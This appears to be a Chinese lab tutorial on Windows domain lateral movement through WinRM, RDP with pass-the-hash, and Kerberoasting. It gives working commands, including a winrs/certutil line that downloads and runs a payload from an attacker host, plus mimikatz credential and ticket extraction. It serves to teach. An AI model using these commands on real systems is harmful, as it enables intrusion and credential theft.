【内网安全】横向移动-Kerberos-SPN-WinRM-RDP

环境介绍与横向移动前置

看之前的文章

域横向移动-WinRM-WinRS

WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务
默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。

移动条件:
  • 双方都启用的Winrm rs的服务!(端口默认为5985)
  • 使用此服务需要管理员级别凭据
  • Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;
  • Windows 2012之后的版本默认允许远程任意主机来管理。

步骤

0、攻击机开启winrm服务:
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
1.CS探针5985端口:

powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
2.连接目标主机并执行命令:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami


注:CS 中执行是没有回显的

3.上线CS&MSF:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe 4455.exe & 4455.exe"

4.CS内置横向移动-winrm


试了下但没有成功

域横向移动-RDP

简介与条件

RDP远程桌面服务 支持明文及HASH连接
条件:对方开启RDP服务 远程桌面

当前我们已经取到31主机的权限,目前要利用RDP连接到32,且32是不出网的。这时我们肯定是需要用31做为跳板机去实现。

以下是利用RDP进行连接的三种方式

RDP横向移动连接的三种操作

1.直接连接当前被控主机进行远程连接 (不推荐,容易被发现)
2.建立节点进行连接 (推荐)
3.端口转发(当前2222 去访问目标的3389,相当于把访问目标3389的流量转发到本地的2222,访问本机2222就是连接目标3389),这种方式需要上传端口转发工具

注意点:一定不要在当前已经登录的用户上进行连接(你也不想看到电脑鼠标自己在动吧)

方案2远程连接演示(建立节点)

CS中对被控主机建立一个节点

本机连接代理服务器

打开本机的远程桌面连接,填写32主机IP与用户名

选择其他用户登录并写好账号与密码,密码可以由CS密码凭据获得

连接成功

1.探针服务:

cs 内置端口扫描3389

tasklist /svc | find "TermService" # 找到对应远程桌面服务进程的PID
netstat -ano | find "PID值" # 找到进程对应的端口号
2.探针连接:

CrackMapExec&MSF 批扫用户名密码验证
这一步主要是判断域内哪些主机可以连接

3.连接执行:

明文连接:

mstsc /console /v:192.168.3.32 /admin

HASH连接:

mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"

域横向移动-Spn&Kerberos

Kerberoasting 攻击的利用:

DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。

请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。

黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。

如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。

Kerberos攻击条件:

采用rc4加密类型票据,工具Rubeus检测或看票据加密类型
加密类型配置
这里只有选择RC4加密类型的才能破解,AES是无法破解的

也可以用 klist 命令查看
这里是AES的,就无法进行kerberos攻击

1.SPN扫描:

注意修改为自己的域名

SPN扫描域内主机开启的全部服务
setspn -T god.org -q */*
扫描指定服务
setspn -T god.org -q */* | findstr "MSSQL"

2.自动检测域内存在kerberoast攻击的对象:
Rubeus kerberoast

3.手动检测:(要产生票据文件)

除了用 Rubeus 工具自动检测,也可以手动检测

【powershell运行】 
Add-Type -AssemblyName System.IdentityModel

【powershell运行】 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"

【mimikatz导出票据】
mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433

其中第二条命令的ArgumentList参数,可以用 SPN 检测命令进行获取

4.导出:
mimikatz kerberos::list /export

5.破解RC4加密的票据:
python tgsrepcrack.py pass.txt "2-40a00000-jack@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi"

将票据复制到本地, pass.txt 是字典
密码

5.重写:

参考教程:技术讨论 | 一次详细的Kerberoast攻击演示 - FreeBuf网络安全行业门户

相关推荐

  1. 环境横向移动——横向移动威胁

    2024-07-21 00:10:01       43 阅读
  2. 环境横向移动——如何防范

    2024-07-21 00:10:01       58 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-21 00:10:01       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-21 00:10:01       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-21 00:10:01       45 阅读
  4. Python语言-面向对象

    2024-07-21 00:10:01       55 阅读

热门阅读

  1. 代码保存板块

    2024-07-21 00:10:01       21 阅读
  2. Git 代码管理面试59题(一)

    2024-07-21 00:10:01       20 阅读
  3. Kudu节点数规划

    2024-07-21 00:10:01       25 阅读
  4. Emacs

    2024-07-21 00:10:01       18 阅读
  5. 提升 Google 对网站兴趣的关键:颜值与内容并重

    2024-07-21 00:10:01       14 阅读
  6. 【js自学打卡8】filter / 类与原型链 / 转字符串

    2024-07-21 00:10:01       22 阅读
  7. 2024年交安安全员考试题库及答案

    2024-07-21 00:10:01       15 阅读
  8. [C/C++入门][for]23、求阶乘

    2024-07-21 00:10:01       20 阅读
  9. [rustlings]13_error_handling

    2024-07-21 00:10:01       20 阅读
  10. C语言经典例题-5

    2024-07-21 00:10:01       22 阅读